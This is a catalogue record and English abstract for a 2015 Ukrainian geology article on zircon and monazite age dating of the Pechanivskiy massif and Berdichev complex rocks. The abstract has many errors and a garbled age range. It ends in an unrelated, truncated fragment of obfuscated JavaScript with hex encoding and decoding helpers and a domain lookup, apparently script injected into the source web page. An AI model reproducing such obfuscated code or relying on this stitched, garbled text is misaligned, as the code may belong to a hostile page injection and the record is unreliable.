PECHANIVSKIY MASSIF (VOLYN MEGABLOCK, UKRAINIAN SHIELD) Paper 2. Radiology age

• Datum: 2015
• Hauptverfasser: Geychenko, M.V., Stepanyk, L.M., Dovbush, T.I., Bobrov, О.B.
• Format: Artikel
• Sprache: Ukrainisch
• Veröffentlicht: Institute of Geological Sciences, NAS of Ukraine 2015
• Schlagworte: sheremetivsky; berdichevsky complexes; isotopic composition; radiological age; zircon; monazite
• Online Zugang: http://geojournal.igs-nas.org.ua/article/view/139156
• Назва журналу: Geological journal

 The article described the methods and review the results of radiological age dating granits of the Pechanovskiy massif and host granitoid (migmatites) formations represented migmatites of the Berdichev complex with superkrustal formations relicts of the Dniester-Bug series. The massif composed plagiogranitoids (quartz diorites, tonalites), comprising the Sheremetiv complex. The resoult of research has established radiological zircon age at (2076.7 ± 6.2) m.y. The isotopic composition of Sr in the accessory apatity indicates uppercrust of the protolite of Pechanovskiy massif granitoids source. The age of rocks basement (presented garnet-biotite migmatites of the Berdichevsky complex) we are taken samples from medium-fine-grained garnet-biotite plagiogneisses. The calculated weighted average age of zircon is (2104.7 ± 6) m.y. Monazite age is (2045.1 ± 5) m.y. This indicates that the ultrametamorfic reworking of the superkrustall rocks occurred in the range of 2. -2.045 m.y. Age investigated monazite match the accepted age of Berdichevsky rocks complex.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e